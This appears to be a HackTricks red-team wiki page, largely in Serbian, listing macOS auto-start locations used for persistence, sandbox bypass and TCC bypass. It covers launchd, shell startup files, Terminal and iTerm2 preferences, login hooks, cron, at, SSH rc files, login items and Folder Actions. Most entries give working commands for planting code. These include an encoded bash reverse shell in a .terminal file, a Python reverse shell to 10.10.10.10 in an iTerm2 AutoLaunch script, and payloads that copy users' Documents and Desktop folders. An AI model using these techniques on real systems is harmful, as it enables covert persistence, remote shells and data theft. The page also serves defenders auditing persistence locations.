69 KiB
macOS Auto Start
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Ovaj odeljak se u velikoj meri oslanja na seriju blogova Beyond the good ol' LaunchAgents, cilj je dodati više lokacija za automatsko pokretanje (ako je moguće), ukazati na koje tehnike još uvek funkcionišu danas sa najnovijom verzijom macOS-a (13.4) i precizirati dozvole koje su potrebne.
Sandbox Bypass
{% hint style="success" %} Ovde možete pronaći lokacije za pokretanje korisne za sandbox bypass koje vam omogućavaju da jednostavno izvršite nešto tako što ćete to napisati u datoteku i čekati na veoma uobičajenu akciju, određenu količinu vremena ili akciju koju obično možete izvršiti iznutra sandbox-a bez potrebe za root dozvolama. {% endhint %}
Launchd
Lokacije
/Library/LaunchAgents
- Okidač: Ponovno pokretanje
- Potrebne root dozvole
/Library/LaunchDaemons
- Okidač: Ponovno pokretanje
- Potrebne root dozvole
/System/Library/LaunchAgents
- Okidač: Ponovno pokretanje
- Potrebne root dozvole
/System/Library/LaunchDaemons
- Okidač: Ponovno pokretanje
- Potrebne root dozvole
~/Library/LaunchAgents
- Okidač: Ponovno prijavljivanje
~/Library/LaunchDemons
- Okidač: Ponovno prijavljivanje
{% hint style="success" %}
Kao zanimljiva činjenica, launchd
ima ugrađenu listu svojstava u Mach-o sekciji __Text.__config
koja sadrži druge dobro poznate usluge koje launchd mora pokrenuti. Štaviše, ove usluge mogu sadržati RequireSuccess
, RequireRun
i RebootOnSuccess
, što znači da moraju biti pokrenute i uspešno završene.
Naravno, ne može se modifikovati zbog potpisivanja koda. {% endhint %}
Opis i Eksploatacija
launchd
je prvi proces koji izvršava OX S kernel prilikom pokretanja i poslednji koji se završava prilikom gašenja. Uvek bi trebao imati PID 1. Ovaj proces će pročitati i izvršiti konfiguracije navedene u ASEP plist-ovima u:
/Library/LaunchAgents
: Agenti po korisniku instalirani od strane administratora/Library/LaunchDaemons
: Daemoni na nivou sistema instalirani od strane administratora/System/Library/LaunchAgents
: Agenti po korisniku koje pruža Apple./System/Library/LaunchDaemons
: Daemoni na nivou sistema koje pruža Apple.
Kada se korisnik prijavi, plist-ovi smešteni u /Users/$USER/Library/LaunchAgents
i /Users/$USER/Library/LaunchDemons
se pokreću sa dozvolama prijavljenih korisnika.
Glavna razlika između agenata i daemona je ta što se agenti učitavaju kada se korisnik prijavi, a daemoni se učitavaju prilikom pokretanja sistema (jer postoje usluge poput ssh koje treba izvršiti pre nego što bilo koji korisnik pristupi sistemu). Takođe, agenti mogu koristiti GUI dok daemoni moraju raditi u pozadini.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>
Postoje slučajevi kada agent treba da se izvrši pre nego što se korisnik prijavi, ovi se nazivaju PreLoginAgents. Na primer, ovo je korisno za pružanje asistivne tehnologije prilikom prijavljivanja. Mogu se naći i u /Library/LaunchAgents
(vidi ovde primer).
{% hint style="info" %}
Nove konfiguracione datoteke za Daemons ili Agents će biti učitane nakon sledećeg ponovnog pokretanja ili korišćenjem launchctl load <target.plist>
Takođe je moguće učitati .plist datoteke bez te ekstenzije sa launchctl -F <file>
(međutim, te plist datoteke neće biti automatski učitane nakon ponovnog pokretanja).
Takođe je moguće isključiti sa launchctl unload <target.plist>
(proces na koji se ukazuje biće prekinut),
Da se osigura da ne postoji ništa (kao što je preklapanje) što sprečava Agent ili Daemon da radi pokrenite: sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist
{% endhint %}
Prikazati sve agente i daemone učitane od strane trenutnog korisnika:
launchctl list
{% hint style="warning" %} Ako je plist u vlasništvu korisnika, čak i ako se nalazi u sistemskim folderima daemona, zadatak će biti izvršen kao korisnik a ne kao root. Ovo može sprečiti neke napade eskalacije privilegija. {% endhint %}
Više informacija o launchd
launchd
je prvi proces korisničkog režima koji se pokreće iz jezgra. Pokretanje procesa mora biti uspešno i ne može se zatvoriti ili srušiti. Čak je i zaštićen od nekih signala za ubijanje.
Jedna od prvih stvari koje launchd
radi je da pokrene sve daemone kao što su:
- Daemoni tajmera zasnovani na vremenu za izvršavanje:
- atd (
com.apple.atrun.plist
): ImaStartInterval
od 30min - crond (
com.apple.systemstats.daily.plist
): ImaStartCalendarInterval
da se pokrene u 00:15 - Mrežni daemoni kao što su:
org.cups.cups-lpd
: Sluša na TCP (SockType: stream
) saSockServiceName: printer
- SockServiceName mora biti ili port ili usluga iz
/etc/services
com.apple.xscertd.plist
: Sluša na TCP na portu 1640- Put daemoni koji se izvršavaju kada se promeni određena putanja:
com.apple.postfix.master
: Proverava putanju/etc/postfix/aliases
- IOKit notifikacijski daemoni:
com.apple.xartstorageremoted
:"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...
- Mach port:
com.apple.xscertd-helper.plist
: Ukazuje uMachServices
unosa na imecom.apple.xscertd.helper
- UserEventAgent:
- Ovo se razlikuje od prethodnog. Omogućava launchd-u da pokreće aplikacije kao odgovor na određene događaje. Međutim, u ovom slučaju, glavni binarni fajl koji je uključen nije
launchd
već/usr/libexec/UserEventAgent
. Učitava dodatke iz SIP ograničenog foldera /System/Library/UserEventPlugins/ gde svaki dodatak ukazuje na svog inicijalizatora uXPCEventModuleInitializer
ključa ili, u slučaju starijih dodataka, uCFPluginFactories
rečniku pod ključemFB86416D-6164-2070-726F-70735C216EC0
svogInfo.plist
.
shell startup files
Writeup: https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/
- Korisno za zaobilaženje sandboxes: ✅
- TCC zaobilaženje: ✅
- Ali morate pronaći aplikaciju sa TCC zaobilaženjem koja izvršava shell koji učitava ove fajlove
Lokacije
~/.zshrc
,~/.zlogin
,~/.zshenv.zwc
,~/.zshenv
,~/.zprofile
- Okidač: Otvorite terminal sa zsh
/etc/zshenv
,/etc/zprofile
,/etc/zshrc
,/etc/zlogin
- Okidač: Otvorite terminal sa zsh
- Potreban root
~/.zlogout
- Okidač: Izađite iz terminala sa zsh
/etc/zlogout
- Okidač: Izađite iz terminala sa zsh
- Potreban root
- Potencijalno više u:
man zsh
~/.bashrc
- Okidač: Otvorite terminal sa bash
/etc/profile
(nije radilo)~/.profile
(nije radilo)~/.xinitrc
,~/.xserverrc
,/opt/X11/etc/X11/xinit/xinitrc.d/
- Okidač: Očekuje se da se aktivira sa xterm, ali nije instaliran i čak i nakon instalacije prikazuje se ova greška: xterm:
DISPLAY is not set
Opis i eksploatacija
Kada se inicira shell okruženje kao što su zsh
ili bash
, izvode se određeni startup fajlovi. macOS trenutno koristi /bin/zsh
kao podrazumevani shell. Ovaj shell se automatski pristupa kada se pokrene aplikacija Terminal ili kada se uređaj pristupi putem SSH. Dok su bash
i sh
takođe prisutni u macOS-u, moraju se eksplicitno pozvati da bi se koristili.
Man stranica za zsh, koju možemo pročitati sa man zsh
ima dug opis startup fajlova.
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
Ponovo otvorene aplikacije
{% hint style="danger" %} Konfigurisanje naznačenog iskorišćavanja i odjavljivanje i prijavljivanje ili čak ponovo pokretanje nije mi pomoglo da pokrenem aplikaciju. (Aplikacija nije bila pokrenuta, možda treba da bude aktivna kada se ove radnje izvrše) {% endhint %}
Writeup: https://theevilbit.github.io/beyond/beyond_0021/
Lokacija
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
- Okidač: Ponovno pokretanje otvorenih aplikacija
Opis i iskorišćavanje
Sve aplikacije koje treba ponovo otvoriti su unutar plist-a ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Dakle, da ponovo otvorene aplikacije pokrenu vašu, samo treba da dodate svoju aplikaciju na listu.
UUID se može pronaći listanjem tog direktorijuma ili sa ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'
Da proverite aplikacije koje će biti ponovo otvorene možete uraditi:
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Da dodate aplikaciju na ovu listu možete koristiti:
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Terminal Preferences
- Korisno za zaobilaženje sandbox-a: ✅
- TCC zaobilaženje: ✅
- Terminal koristi FDA dozvole korisnika koji ga koristi
Location
~/Library/Preferences/com.apple.Terminal.plist
- Trigger: Otvorite Terminal
Description & Exploitation
U ~/Library/Preferences
se čuvaju podešavanja korisnika u Aplikacijama. Neka od ovih podešavanja mogu sadržati konfiguraciju za izvršavanje drugih aplikacija/skripti.
Na primer, Terminal može izvršiti komandu pri pokretanju:
Ova konfiguracija se odražava u datoteci ~/Library/Preferences/com.apple.Terminal.plist
na sledeći način:
[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]
Dakle, ako se plist podešavanja terminala u sistemu može prepisati, tada se open
funkcionalnost može koristiti za otvaranje terminala i ta komanda će biti izvršena.
Možete to dodati iz CLI-a sa:
{% code overflow="wrap" %}
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
{% endcode %}
Terminal skripte / Ostale ekstenzije datoteka
- Korisno za zaobilaženje sandbox-a: ✅
- TCC zaobilaženje: ✅
- Terminal se koristi za dobijanje FDA dozvola korisnika koji ga koristi
Lokacija
- Bilo gde
- Okidač: Otvorite Terminal
Opis i eksploatacija
Ako kreirate .terminal
skriptu i otvorite je, Terminal aplikacija će automatski biti pozvana da izvrši komande navedene u njoj. Ako Terminal aplikacija ima neke posebne privilegije (kao što je TCC), vaša komanda će biti izvršena sa tim posebnim privilegijama.
Isprobajte to sa:
# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
Možete takođe koristiti ekstenzije .command
, .tool
, sa sadržajem običnih shell skripti i one će takođe biti otvorene u Terminalu.
{% hint style="danger" %} Ako terminal ima Potpunu Disk Pristup, moći će da izvrši tu akciju (napomena: izvršena komanda će biti vidljiva u terminal prozoru). {% endhint %}
Audio Pluginovi
Writeup: https://theevilbit.github.io/beyond/beyond_0013/
Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882
Lokacija
/Library/Audio/Plug-Ins/HAL
- Potreban root
- Okidač: Ponovno pokretanje coreaudiod-a ili računara
/Library/Audio/Plug-ins/Components
- Potreban root
- Okidač: Ponovno pokretanje coreaudiod-a ili računara
~/Library/Audio/Plug-ins/Components
- Okidač: Ponovno pokretanje coreaudiod-a ili računara
/System/Library/Components
- Potreban root
- Okidač: Ponovno pokretanje coreaudiod-a ili računara
Opis
Prema prethodnim writeup-ima, moguće je kompilirati neke audio pluginove i učitati ih.
QuickLook Pluginovi
Writeup: https://theevilbit.github.io/beyond/beyond_0028/
Lokacija
/System/Library/QuickLook
/Library/QuickLook
~/Library/QuickLook
/Applications/AppNameHere/Contents/Library/QuickLook/
~/Applications/AppNameHere/Contents/Library/QuickLook/
Opis & Eksploatacija
QuickLook pluginovi mogu biti izvršeni kada pokrenete pregled datoteke (pritisnite razmaknicu sa izabranom datotekom u Finder-u) i plugin koji podržava taj tip datoteke je instaliran.
Moguće je kompilirati svoj vlastiti QuickLook plugin, postaviti ga u jednu od prethodnih lokacija da bi ga učitali, a zatim otići do podržane datoteke i pritisnuti razmaknicu da ga pokrenete.
Login/Logout Hooks
{% hint style="danger" %} Ovo nije radilo za mene, ni sa korisničkim LoginHook-om ni sa root LogoutHook-om {% endhint %}
Writeup: https://theevilbit.github.io/beyond/beyond_0022/
Lokacija
- Morate biti u mogućnosti da izvršite nešto poput
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
Lo
cira se u~/Library/Preferences/com.apple.loginwindow.plist
Oni su zastareli, ali se mogu koristiti za izvršavanje komandi kada se korisnik prijavi.
cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
Ova postavka se čuva u /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}
Da biste to obrisali:
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
The root korisnik se čuva u /private/var/root/Library/Preferences/com.apple.loginwindow.plist
Uslovni zaobilaženje peskovnika
{% hint style="success" %} Ovde možete pronaći lokacije za pokretanje korisne za zaobilaženje peskovnika koje vam omogućava da jednostavno izvršite nešto upisivanjem u datoteku i očekivanjem ne tako uobičajenih uslova kao što su specifični instalirani programi, "neobične" korisničke radnje ili okruženja. {% endhint %}
Cron
Pisanje: https://theevilbit.github.io/beyond/beyond_0004/
- Korisno za zaobilaženje peskovnika: ✅
- Međutim, morate biti u mogućnosti da izvršite
crontab
binarni fajl - Ili biti root
- TCC zaobilaženje: 🔴
Lokacija
/usr/lib/cron/tabs/
,/private/var/at/tabs
,/private/var/at/jobs
,/etc/periodic/
- Root je potreban za direktan pristup pisanju. Nije potreban root ako možete izvršiti
crontab <file>
- Okidač: Zavisi od cron posla
Opis i eksploatacija
Prikazivanje cron poslova trenutnog korisnika sa:
crontab -l
Možete takođe videti sve cron poslove korisnika u /usr/lib/cron/tabs/
i /var/at/tabs/
(potrebne su administratorske privilegije).
Na MacOS-u se nekoliko foldera koji izvršavaju skripte sa određenom frekvencijom može naći u:
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
Tamo možete pronaći redovne cron poslove, at poslove (koji se ne koriste često) i periodične poslove (koji se uglavnom koriste za čišćenje privremenih datoteka). Dnevni periodični poslovi mogu se izvršiti, na primer, sa: periodic daily
.
Da biste programatski dodali korisnički cronjob, moguće je koristiti:
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
iTerm2
Writeup: https://theevilbit.github.io/beyond/beyond_0002/
Lokacije
~/Library/Application Support/iTerm2/Scripts/AutoLaunch
- Okidač: Otvorite iTerm
~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
- Okidač: Otvorite iTerm
~/Library/Preferences/com.googlecode.iterm2.plist
- Okidač: Otvorite iTerm
Opis i Eksploatacija
Skripte smeštene u ~/Library/Application Support/iTerm2/Scripts/AutoLaunch
biće izvršene. Na primer:
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
или:
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
iterm2.run_forever(main)
EOF
Skripta ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
će takođe biti izvršena:
do shell script "touch /tmp/iterm2-autolaunchscpt"
Podešavanja iTerm2 koja se nalaze u ~/Library/Preferences/com.googlecode.iterm2.plist
mogu ukazivati na komandu koja će se izvršiti kada se iTerm2 terminal otvori.
Ova postavka može biti konfigurisana u iTerm2 podešavanjima:
A komanda se odražava u podešavanjima:
plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
Možete postaviti komandu za izvršavanje sa:
{% code overflow="wrap" %}
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
{% endcode %}
{% hint style="warning" %} Veoma je verovatno da postoje drugi načini za zloupotrebu iTerm2 podešavanja za izvršavanje proizvoljnih komandi. {% endhint %}
xbar
Writeup: https://theevilbit.github.io/beyond/beyond_0007/
- Korisno za zaobilaženje sandboxes: ✅
- Ali xbar mora biti instaliran
- TCC zaobilaženje: ✅
- Zahteva dozvole za pristup
Lokacija
~/Library/Application\ Support/xbar/plugins/
- Okidač: Kada se xbar izvrši
Opis
Ako je popularni program xbar instaliran, moguće je napisati shell skriptu u ~/Library/Application\ Support/xbar/plugins/
koja će biti izvršena kada se xbar pokrene:
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
Hammerspoon
Writeup: https://theevilbit.github.io/beyond/beyond_0008/
- Korisno za zaobilaženje sandbox-a: ✅
- Ali Hammerspoon mora biti instaliran
- TCC zaobilaženje: ✅
- Zahteva dozvole za pristup
Location
~/.hammerspoon/init.lua
- Trigger: Kada se izvrši hammerspoon
Description
Hammerspoon služi kao platforma za automatizaciju za macOS, koristeći LUA skriptni jezik za svoje operacije. Značajno, podržava integraciju kompletnog AppleScript koda i izvršavanje shell skripti, značajno poboljšavajući svoje skriptne mogućnosti.
Aplikacija traži jedan fajl, ~/.hammerspoon/init.lua
, i kada se pokrene, skripta će biti izvršena.
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF
BetterTouchTool
- Korisno za zaobilaženje sandbox-a: ✅
- Ali BetterTouchTool mora biti instaliran
- TCC zaobilaženje: ✅
- Zahteva dozvole za Automatizaciju-Prečice i Pristupačnost
Lokacija
~/Library/Application Support/BetterTouchTool/*
Ovaj alat omogućava da se označe aplikacije ili skripte koje će se izvršiti kada se pritisnu određene prečice. Napadač bi mogao da konfiguriše svoju prečicu i akciju za izvršavanje u bazi podataka kako bi izvršio proizvoljan kod (prečica bi mogla biti samo pritisak na taster).
Alfred
- Korisno za zaobilaženje sandbox-a: ✅
- Ali Alfred mora biti instaliran
- TCC zaobilaženje: ✅
- Zahteva dozvole za Automatizaciju, Pristupačnost i čak Pristup celom disku
Lokacija
???
Omogućava kreiranje radnih tokova koji mogu izvršavati kod kada su ispunjeni određeni uslovi. Potencijalno je moguće da napadač kreira datoteku radnog toka i natera Alfreda da je učita (potrebno je platiti premium verziju za korišćenje radnih tokova).
SSHRC
Writeup: https://theevilbit.github.io/beyond/beyond_0006/
- Korisno za zaobilaženje sandbox-a: ✅
- Ali ssh mora biti omogućen i korišćen
- TCC zaobilaženje: ✅
- SSH koristi za FDA pristup
Lokacija
~/.ssh/rc
- Okidač: Prijava putem ssh
/etc/ssh/sshrc
- Potreban root
- Okidač: Prijava putem ssh
{% hint style="danger" %} Da bi se uključio ssh, potrebna je dozvola za Pristup celom disku:
sudo systemsetup -setremotelogin on
{% endhint %}
Opis i Eksploatacija
Po default-u, osim ako nije PermitUserRC no
u /etc/ssh/sshd_config
, kada se korisnik prijavi putem SSH skripte /etc/ssh/sshrc
i ~/.ssh/rc
će biti izvršene.
Stvari za prijavu
Writeup: https://theevilbit.github.io/beyond/beyond_0003/
- Korisno za zaobilaženje sandboxes: ✅
- Ali morate izvršiti
osascript
sa argumentima - TCC zaobilaženje: 🔴
Lokacije
~/Library/Application Support/com.apple.backgroundtaskmanagementagent
- Okidač: Prijava
- Eksploatacijski payload se čuva pozivajući
osascript
/var/db/com.apple.xpc.launchd/loginitems.501.plist
- Okidač: Prijava
- Potreban root
Opis
U System Preferences -> Users & Groups -> Stvari za prijavu možete pronaći stavke koje će biti izvršene kada se korisnik prijavi.
Moguće je da ih navedete, dodate i uklonite iz komandne linije:
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
Ovi stavovi se čuvaju u datoteci ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
Stvari za prijavu mogu takođe biti označene korišćenjem API-ja SMLoginItemSetEnabled koji će sačuvati konfiguraciju u /var/db/com.apple.xpc.launchd/loginitems.501.plist
ZIP kao stavka za prijavu
(Pogledajte prethodni odeljak o stavkama za prijavu, ovo je ekstenzija)
Ako sačuvate ZIP datoteku kao stavku za prijavu, Archive Utility
će je otvoriti i ako je zip, na primer, sačuvan u ~/Library
i sadrži folder LaunchAgents/file.plist
sa backdoor-om, taj folder će biti kreiran (nije podrazumevano) i plist će biti dodat tako da će sledeći put kada se korisnik ponovo prijavi, backdoor naznačen u plist-u biti izvršen.
Druga opcija bi bila da se kreiraju datoteke .bash_profile
i .zshenv
unutar korisničkog HOME-a, tako da ako folder LaunchAgents već postoji, ova tehnika bi i dalje radila.
At
Izveštaj: https://theevilbit.github.io/beyond/beyond_0014/
- Korisno za zaobilaženje sandbox-a: ✅
- Ali morate izvršiti
at
i mora biti omogućeno - TCC zaobilaženje: 🔴
Lokacija
- Potrebno je izvršiti
at
i mora biti omogućeno
Opis
at
zadaci su dizajnirani za zakazivanje jednokratnih zadataka koji će se izvršiti u određenim vremenima. Za razliku od cron poslova, at
zadaci se automatski uklanjaju nakon izvršenja. Važno je napomenuti da su ovi zadaci postojani kroz ponovna pokretanja sistema, što ih označava kao potencijalne bezbednosne probleme pod određenim uslovima.
Po podrazumevanoj postavci su onemogućeni, ali root korisnik može omogućiti ih sa:
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
Ovo će kreirati datoteku za 1 sat:
echo "echo 11 > /tmp/at.txt" | at now+1
Proverite red zadataka koristeći atq:
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
Iznad možemo videti dva zakazana posla. Možemo odštampati detalje posla koristeći at -c JOBNUMBER
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt
{% hint style="warning" %} Ako AT zadaci nisu omogućeni, kreirani zadaci neće biti izvršeni. {% endhint %}
fajlovi zadataka se mogu naći na /private/var/at/jobs/
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
The filename contains the queue, the job number, and the time it’s scheduled to run. For example let’s take a loot at a0001a019bdcd2
.
a
- ovo je red0001a
- broj posla u heksadecimalnom formatu,0x1a = 26
019bdcd2
- vreme u heksadecimalnom formatu. Predstavlja minute koje su prošle od epohe.0x019bdcd2
je26991826
u decimalnom formatu. Ako to pomnožimo sa 60 dobijamo1619509560
, što jeGMT: 27. april 2021., utorak 7:46:00
.
If we print the job file, we find that it contains the same information we got using at -c
.
Folder Actions
Writeup: https://theevilbit.github.io/beyond/beyond_0024/
Writeup: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d
- Korisno za zaobilaženje sandbox-a: ✅
- Ali morate moći da pozovete
osascript
sa argumentima da biste kontaktiraliSystem Events
kako biste mogli da konfigurišete Folder Actions - TCC zaobilaženje: 🟠
- Ima neka osnovna TCC dopuštenja kao što su Desktop, Documents i Downloads
Location
/Library/Scripts/Folder Action Scripts
- Potrebna je root privilegija
- Okidač: Pristup određenom folderu
~/Library/Scripts/Folder Action Scripts
- Okidač: Pristup određenom folderu
Description & Exploitation
Folder Actions su skripte koje se automatski pokreću promenama u folderu kao što su dodavanje, uklanjanje stavki ili druge akcije poput otvaranja ili promena veličine prozora foldera. Ove akcije se mogu koristiti za razne zadatke i mogu se pokrenuti na različite načine kao što su korišćenje Finder UI ili terminalskih komandi.
Da biste postavili Folder Actions, imate opcije kao što su:
- Kreiranje Folder Action radnog toka sa Automator i instaliranje kao uslugu.
- Ručno povezivanje skripte putem Folder Actions Setup u kontekstualnom meniju foldera.
- Korišćenje OSAScript-a za slanje Apple Event poruka
System Events.app
za programatsko postavljanje Folder Action.
- Ova metoda je posebno korisna za ugrađivanje akcije u sistem, nudeći nivo postojanosti.
The following script is an example of what can be executed by a Folder Action:
// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
Da biste učinili gornji skript upotrebljivim za Folder Actions, kompajlirajte ga koristeći:
osacompile -l JavaScript -o folder.scpt source.js
Nakon što je skripta kompajlirana, postavite Folder Actions izvršavanjem sledeće skripte. Ova skripta će omogućiti Folder Actions globalno i posebno povezati prethodno kompajliranu skriptu sa Desktop folderom.
// Enabling and attaching Folder Action
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
Pokrenite skriptu za podešavanje sa:
osascript -l JavaScript /Users/username/attach.scpt
- Ovo je način na koji se implementira ova postojanost putem GUI:
Ovo je skripta koja će biti izvršena:
{% code title="source.js" %}
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
